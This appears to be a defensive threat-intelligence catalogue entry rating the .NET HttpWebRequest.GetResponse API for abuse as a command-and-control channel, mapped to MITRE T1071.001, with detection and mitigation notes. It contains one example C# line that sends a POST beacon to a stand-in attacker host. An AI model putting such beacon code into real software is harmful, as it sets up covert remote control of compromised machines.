System.Net.HttpWebRequest.GetResponse

⚠️ High Risk📁 Windows Dotnet Api🏷️ network communication✅ Verified

#windows-dotnet-api#c2#network

🔧 API Details

Namespace

System.Net

Language

.NET 1.1+

Class

HttpWebRequest

Official Documentation

https://learn.microsoft.com/en-us/dotnet/api/system.net.httpwebrequest.getresponse

📊 Risk Assessment

Severity

High

Prevalence

widespread

Ease of Abuse

easy

Likelihood in Real Attacks

85%

🎯 MITRE ATT&CK Techniques

T1071.001

Click to view on MITRE ATT&CK

⚡ Abuse Scenarios

C2 beacon communication

Technique: T1071.001

🚨 Common in Campaigns

Establish persistent C2 channel over HTTP

Code Example:

HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://c2.attacker.com/beacon"); req.Method = "POST"; var resp = req.GetResponse();

Detection Difficulty: Medium

🔍 Detection Strategies

Network IDS

MEDIUM Effectiveness

Monitor for suspicious HTTP beacon patterns

Proxy logs

HIGH Effectiveness

Detect C2 communication patterns

🛡️ Mitigation Strategies

network

HIGH Feasibility

Block known C2 domains

🕵️ Threat Intelligence

👥 APT Groups / Threat Actors

APT28

FIN7

🦠 Malware Families

Various malware families

🔨 Tools

Cobalt Strike

📋 Metadata

API ID

69c46d16-1c46-4588-bbd3-07a9d5265eb5

Created

2026-02-02

Author

Claw